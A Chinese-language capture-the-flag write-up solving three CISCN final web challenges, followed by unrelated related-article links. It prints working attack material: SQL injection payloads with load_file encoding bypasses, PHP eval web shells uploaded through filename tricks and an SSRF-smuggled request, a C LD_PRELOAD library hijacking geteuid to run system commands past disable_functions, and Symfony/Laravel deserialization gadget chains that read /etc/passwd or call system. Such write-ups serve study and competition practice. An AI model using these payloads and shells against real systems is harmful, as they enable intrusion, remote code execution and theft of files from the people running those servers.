因为都有源码,所以这里直接从源码开始分析:

1.Easy web

这道题本来的意思应该是通过注入来load_file读取config.php来泄露cookie的加密密钥,从而伪造身份进行登陆再上传shell

这里本来addslashes以后就基本没法注入,但是这里却多了两行替换,所以能够继续注入,

这里config过滤可以使用16进制或者char编码绕过:

对于magic_quotes_gpc = on的时候,会过滤引号
可以通过char,16进制等方式来绕过
例如:
-1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
-1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)

这里直接伪造cookie,加密解密算法都有:

然后更改一下cookie,再访问upload.php进行shell的上传:

这里获取上传的文件,文件的Name 属性为name,这里会对文件名中的php进行过滤,php标签那么有三种,<script language="php"></script>,<?=?>(相当于<?php echo ?>),<??>这两种是短标签,还有完整的<?php ?>,这里可以直接使用<?=绕过即可,比如shell可以为<?=`$_GET[1]`;,这里将文件名写入到logs/upload.log.php,这里不推荐直接把执行结果写到php文件里,我们更愿意将一个shell添加到php文件中,比如filename=<?=eval($_GET[tr1ple]);?>,用python的requests发个包即可:

requests.post(url=url,files={"file":("<?=eval($_GET[tr1ple]);?>","ssssssss")},proxies={"http":"http://127.0.0.1:8080"})

其中字典files中的键必须和表单中的name属性的值相同,也就是php获取的$_FILE的键名一样,比如这里面是$_FILES[file],那么对应的files={‘file’:()}里面也是file,然后上传shell以后直接执行读取/flag即可。

2.Markdown Note

这道题要逆向so,太菜了不会,这里直接略了第一步,利用mlt师傅wp里面的exp:

data='504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'.replace('\n','')
data=data.decode('hex')
requests.post(url+'/index.php',data={'debug':"sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n"%data},timeout=timeout)

16进制解码如下:

POST /upload.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://127.0.0.1:8080/index.php?act=upload
Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797
Content-Length: 244
Connection: close
Upgrade-Insecure-Requests: 1 -----------------------------6693638881479522630623693797
Content-Disposition: form-data; name="file"; filename="logout.php"
Content-Type: text/php <?php
eval($_REQUEST[a]); -----------------------------6693638881479522630623693797--

上面实际上是给upload直接传递了一个shell,内容为<?php eval($_REQUEST[a]);?>,这里直接通过upload.php的逻辑保存到本地,这里本来拿到源码的时候就可以看到remote_addr限制了127.0.0.1,那么此时只能够通过ssrf来访问,进行文件上传,这里会以我们上传的文件名进行加上.md后缀保存,上面的payload里filename为logout.php那么最后保存成logout.md

然后此时就可以访问logout.md,实际上我们已经有了一个shell,可以看看flag在哪:

这里有flag但肯定是没权限读,还有个readflag,猜测通过执行readflag来间接读取flag,所以肯定必须通过系统命令来进行执行readflag,但是有disable_function,phpinfo看一看:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,mail,passthru,exec,system,chroot,chgrp,chown,
shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

这里过滤了很多函数,system也用不了,mai也过滤了,所以肯定要bypass diables_function,所以这里常规操作,上传so,c文件如下:

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> void payload(char *cmd) {
char buf[];
strcpy(buf, cmd);
// strcat(buf, " > /tmp/_0utput.txt");
strcat(buf, " > /tmp/seu.txt");
system(buf);
} int geteuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return ; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return ;
}

直接编译成so,然后上传即可:

requests.post(url+'/post.php?md=logout.md',data={'a':'move_uploaded_file($_FILES["aaa"]["tmp_name"],"/tmp/seu.so");'},files={"aaa":("filename1", open("seu.so", "rb"))},timeout=2)

这里要包含我们的logout.md,因为是我们的shell,然后执行move_upload_file就可以上传成功so文件,一般上传到/tmp目录下面,接下来就要进行读取flag:

这里使用error_log函数来fork execve,因为它也会调用sendmail,从而劫持geteuid()函数

payload为:

index.php?act=post&md=logout.md&a=putenv("LD_PRELOAD=/tmp/seu.so");putenv(%27_evilcmd=whoami%27);error_log(%27test%27,1,"","");

_evalcmd就是我们要执行的系统命令,然后它会保存到/tmp/seu.txt,然后直接读取即可:

读取flag只需要将系统命令换成bash -c /readflag即可读到flag,本地测试一下即可:

3.Laravel1

又是laravel代码审计的题目,拿到题目我首先看一下路由信息,可以看到这里直接将输入的信息进行了反序列化,那么肯定考的是反序列化,那么web的路由就这一条,来反序列化自定义的类肯定是不可能的了,一般看路由有两个地方来看,web.php和api.php,web.php是有状态的路由,api.php是无状态的路由,routes文件夹下其实都可以定义路由。

这里直接找可以利用的__destruct方法即可,刚才编辑了一半没保存==,直接说一下调用链:

所以要这里用$this->pool调用了saveDeferred方法,这个pool肯定是个对象,向上看看就知道他是一个实现了Adapterinterface接口的类的对象,这里就可以跟其他的类链在了一起,所以只要找到实现了该接口的类,并且这个类里面存在saveDeffed()就可以看看里面有没有可以利用的点,或者是找找可以找找哪些类的__call方法可以利用,如果没有saveDeferred(),调用时就会触发__call方法

这里直接定位到我找到的满足条件的几个类,因为这几个类里面都实现了接口并且有saveDeferred方法,

ChainAdapter.php

PhpArrayAdapter.php

ProxyAdapter.php

TraceableAdapter.php

ArrayAdapter.php

一个一个分析(先从函数内部逻辑简单的来,再慢慢排除):

chainadapter.php

可以看到实际上里面又调用了saveDeferred方法,所以可以直接略过,因为相当于重复操作。

PhpArrayAdapter.php

在此方法中调用了initialize()方法,但是ctrl+f在此文件没找到,因此肯定是来自父类或者来自trait,这里可以利用phpstorm自带的show disgrams来查看一下类的继承关系和trait的复用联系,并且可以显示出每个文件中的方法:

可以很明显的看到其实这里是调用的PhpArrayTrait的init方法,所以跟进看看:

可以看到这里涉及到文件操作,我们可以进行文件包含来读文件,那么可能存在漏洞的点知道了,我们向上看看需要满足的条件

这里我直接贴exp,然后说一下几个要点:

<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/etc/passwd';
}
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('tr1ple' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

首先我序列化的肯定是带有__destruct的TagAwareAdapter类,然后因为有调用$this->pool->saveDefeffed(),所以我在这里将pool的值赋值为一个对象,即PhpArrayAdapter类的对象,而这里savaDefeffed的入口参数是cacheiteminterface的对象,也就是实现了该接口的类的对象,而从文件头use引入的类中可以看到cacheitem类,我们跟进,因此只需要定义$this->deferred = array('tr1ple' => new CacheItem());这里因为在不同的namespace,所以要用{}花括号区别开来,要用到其他命名空间的类时,直接用use在目前的命名空间内引进就好,这个exp编写就这么多要注意的。

然后直接通过payload进行访问即可。

3.ProxyAdapter.php

这个文件也存在代码执行,先贴exp:

<?php
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = "id";
protected $poolHash = "tr1ple";
}
namespace Symfony\Component\Cache\Adapter;
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
private $deferred;
public function __construct($x)
{
$this->pool = $x;
$this->deferred=array("1" => new CacheItem());
}
}
class ProxyAdapter
{
private $setInnerItem;
private $poolHash;
public function __construct()
{
$this->setInnerItem = "system";
$this->poolHash = "tr1ple";
}
}
$a = new TagAwareAdapter(new ProxyAdapter());
echo urlencode(serialize($a));

这个exp写起来也不难,只要注意命名空间的路径对应类是正确的,然后我们构造的条件到代码执行之前的代码都能走通就能触发rce。

system()有第二个参数,这个第二个参数的意思实际上是将system(id)的执行结果保存到$c变量,所以这只能是个变量名,这里把$c的值直接放进函数里是不行的,我试了一下把$c变成其它的类型也可以,所以跟c的变量类型无关。

4.TraceableAdapter.php

这个函数内部又是调用saveDeferred,所以直接略过

5.ArrayAdapter.php

    public function save(CacheItemInterface $item)
{
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;
$key = $item["\0*\0key"];
$value = $item["\0*\0value"];
$expiry = $item["\0*\0expiry"]; if (null !== $expiry && $expiry <= microtime(true)) {
$this->deleteItem($key); return true;
}
if ($this->storeSerialized && null === $value = $this->freeze($value, $key)) {
return false;
}
if (null === $expiry && 0 < $item["\0*\0defaultLifetime"]) {
$expiry = microtime(true) + $item["\0*\0defaultLifetime"];
} $this->values[$key] = $value;
$this->expiries[$key] = null !== $expiry ? $expiry : PHP_INT_MAX; return true;
}

这里面调用了save方法,但是里面没有函数动态函数调用,所以没法利用,赋值不用关心。

CISCN final 几道web题总结的更多相关文章

  1. 几道web题简单总结

    拖了好长时间,总结一下这一段时间做的几道值得记录一下的题目,有的没做出来,但是学习到了新的东西 1.homebrew event loop ddctf的一道题目,学到了python eval函数的用法 ...

  2. DASCTF七月赛两道Web题复现

    Ezfileinclude(目录穿越) 拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw== t是时间,可以利 ...

  3. 【转】POJ百道水题列表

    以下是poj百道水题,新手可以考虑从这里刷起 搜索1002 Fire Net1004 Anagrams by Stack1005 Jugs1008 Gnome Tetravex1091 Knight ...

  4. 关于第一场HBCTF的Web题小分享,当作自身的笔记

    昨天晚上6点开始的HBCTF,虽然是针对小白的,但有些题目确实不简单. 昨天女朋友又让我帮她装DOTA2(女票是一个不怎么用电脑的),然后又有一个小白问我题目,我也很热情的告诉她了,哎,真耗不起. 言 ...

  5. 各位大佬Python的第一部分道基础题已经整理好了,希望大家面试的时候能用的上。

    Python的第一部分道基础题,希望大家面试的时候能用的上. 1.为什么学习Python? Python是目前市面上,我个人认为是最简洁.最优雅.最有前途.最全能的编程语言,没有之一. 2.通过什么途 ...

  6. [2]十道算法题【Java实现】

    前言 清明不小心就拖了两天没更了-- 这是十道算法题的第二篇了-上一篇回顾:十道简单算法题 最近在回顾以前使用C写过的数据结构和算法的东西,发现自己的算法和数据结构是真的薄弱,现在用Java改写一下, ...

  7. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  8. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  9. 实验吧web题:

    实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...

随机推荐

  1. ADO与达梦7产生的一个未知问题

    采用OLEDB与达梦7建立数据库连接 连接成功 查询表成功 打开表成功 当进行到addnew 操作时  报异常,未知错误 而且是仅针对这张表 ,其他表都没有问题 当清空数据后可以再插入一次数据,之后就 ...

  2. js之数据类型(对象类型——单体内置对象——Math)

    Math是一个内置对象,它具有数学常数和函数的属性和方法.Math对象用于执行数学任务,和其它对象不同,Math只是一个静态对象并没有Math()构造函数,实际上,Math()只是一个由js设置的对象 ...

  3. 图片样式加hover特效

    之前有个尴尬的事情发生,我不知道如何将文字放在图片右边,我想了个麻烦且愚蠢的办法,后来才知道只需要将图片居左就可以达到效果.....不说了看下面 需要实现的效果: 很简单, <img src=& ...

  4. SAP成都研究院李三郎:SCP Application Router简介

    今天的文章来自李贝宁(Ben),SAP成都研究院的资深程序猿和架构师. 作为成都研究院里同时精通Java, JavaScript和ABAP这三门编程语言的数位同事之一,Ben曾经先后担任了成都CRM ...

  5. 3.MySQL的架构介绍

    MySQL简介: 高级MySQL:mysql 内核 sql优化工程师 mysql服务器的优化 各种参数常量设定 查询语句优化 主从复制 软硬件升级 容灾备份 sql编程 完整的mysql优化需要很深的 ...

  6. 【Struts2】Ognl与ValueStack

    一.OGNL 1.1 概述 1.2 OGNL 五大类功能 1.3 演示 二.ValueStack 2.1 概述 2.2 ValueStack结构 2.3 结论 2.3 一些问题 三.OGNL表达式常见 ...

  7. 【leetcode】296.Best Meeting Point

    原题 A group of two or more people wants to meet and minimize the total travel distance. You are given ...

  8. 深入理解Java虚拟机——读书笔记

    首先 强烈推荐周志明老师的这本书,真的可以说是(起码中文出版界)新手了解Java虚拟机必须人手一本的教科书!!!   第二部分自动内存管理机制 由于Java虚拟机的多线程是通过线程轮流切换并分配处理器 ...

  9. fonts/font-awesome-woff2 404问题

    报错环境: vue 开发的项目 npm 引入的font-awesome, 页面正常显示,就是控制台会报这个错误 产生原因:因为服务器IIS不认SVG,WOFF/WOFF2 这几个文件类型,只要在IIS ...

  10. Webpack v4.8.3 快速入门指南

    一.进入 https://webpack.docschina.org/ 官方文档,点击 "文档" 进入 文档页面,文档中包含  “概念,配置,API,指南,LOADERS,插件&q ...